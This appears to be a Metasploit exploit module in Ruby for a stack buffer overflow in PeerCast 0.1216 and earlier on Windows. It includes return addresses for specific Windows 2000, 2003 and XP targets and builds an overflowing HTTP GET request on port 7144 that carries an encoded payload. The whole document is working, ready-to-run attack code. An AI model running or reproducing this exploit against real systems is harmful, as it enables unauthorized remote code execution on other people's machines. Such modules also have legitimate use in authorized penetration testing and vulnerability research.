require 'msf/core' module Msf class Exploits::Windows::Http::PeerCast_URL < Msf::Exploit::Remote include Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (win32)', 'Description' => %q{ This module exploits a stack overflow in PeerCast <= v0.1216. The vulnerability is caused due to a boundary error within the handling of URL parameters. }, 'Author' => [ 'H D Moore ' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ ['OSVDB', '23777'], ['BID', '17040'], ['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'], ], 'Privileged' => false, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Windows 2000 English SP0-SP4', { 'Ret' => 0x75023360 }], ['Windows 2003 English SP0-SP1', { 'Ret' => 0x77d099e3 }], ['Windows XP English SP0/SP1', { 'Ret' => 0x77dbfa2c }], ['Windows XP English SP0/SP2', { 'Ret' => 0x77dc12b8 }], ], 'DisclosureDate' => 'Mar 8 2006')) register_options( [ Opt::RPORT(7144) ], self.class ) end def exploit connect pat = Rex::Text.rand_text_alphanumeric(1024) pat[768, 4] = [target.ret].pack('V') pat[812, 5] = [0xe9, -517].pack('CV') pat[300, payload.encoded.length] = payload.encoded uri = '/stream/?' + pat res = "GET #{uri} HTTP/1.0\r\n\r\n" print_status("Trying target address 0x%.8x..." % target.ret) sock.put(res) sock.close handler disconnect end end end